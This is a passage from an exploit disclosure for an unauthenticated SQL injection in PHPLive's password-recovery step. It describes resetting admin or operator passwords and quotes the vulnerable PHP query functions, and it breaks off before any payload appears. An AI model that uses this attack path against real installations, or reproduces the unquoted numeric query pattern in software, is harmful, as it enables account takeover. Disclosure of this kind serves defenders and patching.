# Exploit title: Password Recovery Sql Injection
# Exploit Author: Tiago Carvalho
# Vendor Homepage: http://www.phplivesupport.com/?plk=osicodes-5-ykq-m
# Version : 4.4.8 - 4.5.4
# Product Name: Phplive
# Tested on: Debian \ Kali linux 2016-1

"""
Their are multiple sql injection vunlerabilities in this product.
The exploit uses the sql injection vulnerability on the last step of the password recovery process
and force the application to rest the password and show the username, without requiring authentication
or to ever execute the first step, the vulnerability allows the recovery of both admin and operator.
 
Vulnerable code location: API/Setup/get.php
The filtering in place allows alphanumeric and restricts the use of serveral special chars,
its use of mysql escape functions and stripslashes are bypassed by since theirs no need to inject
special char to create a valid statement. 
 
FUNCTION Setup_get_InfoByID( &$dbh,
                    $adminid )
    {
        if ( $adminid == "" )
            return false ;
 
        LIST( $adminid ) = database_mysql_quote( $dbh, $adminid ) ;
 
        $query = "SELECT * FROM p_admins WHERE adminID = $adminid LIMIT 1" ;
        database_mysql_query( $dbh, $query ) ;
 
        if ( $dbh[ 'ok' ] )
        {
            $data = database_mysql_fetchrow( $dbh ) ;
            return $data ;
        }
        return false ;
    }
 
Vulnerable code location: /API/Ops/get.php
 
FUNCTION Ops_get_OpInfoByID( &$dbh,
                    $opid )
    {
        if ( $opid == "" )
            return false ;
 
        LIST( $opid ) = database_mysql_quote( $dbh, $opid ) ;
